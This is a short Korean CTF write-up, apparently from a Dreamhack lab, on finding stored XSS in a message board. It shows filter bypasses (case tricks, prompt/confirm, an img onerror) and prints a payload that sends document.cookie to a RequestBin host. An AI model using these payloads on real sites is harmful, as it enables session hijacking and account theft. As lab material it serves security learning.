- 로그인, 문의 게시판이 있었는데 문의 게시판은 구현이 안되어 있었다.
- 로그인,회원가입 페이지가 있었고 messi/123456으로 가입했다.
- 회원가입,로그인에서 데이터 전송 떄 알림문구도 확인해봤지만 출력되는 곳은 없었다.
- 내 데이터가 출력되는 부분이 index.php,mypage.php에 있었다.
- 하지만 테스트 해본 결과 이스케이프 처리가 되어있다.
- 게시글 목록에도 이스케이프 처리가 되고 있다.
- 게시글 읽기 페이지에서 제목,내용 모두 이스케이프 처리가 안된 것을 확인했다.
- 제목, 내용에 스크립트를 삽입했지만, burp로 확인 해본 결과 script,alert가 필터링 되는 거 같다.
- 제목엔 대소문자로 script를 우회하고 alert 대신 prompt를 작성해봤다.
- 내용엔 img태그로 오류가 발생시 confirm을 실행시키게 작성했다.
- 악의적인 스크립트가 삽입된 게시글을 이용자가 클릭 시 공격자서버로 데이터를 보내기 위해서 Request Bin을 이용했다.
<img src=x onerror="new Image().src='https://ztaqprx.request.dreamhack.games/'+document.cookie;">
- 관리자가 악성 스크립트가 삽입된 게시글을 클릭 시, 공격자 서버에 플래그가 보내진 것을 확인할 수 있다.
- 게시글 수정페이지에 ' 와 " 가 필터링 되어 있지 않고 속성 값에 들어가있다.
- 수정페이지에서 관리자가 제목을 클릭 시 스크립트가 실행되는 것을 알 수 있다.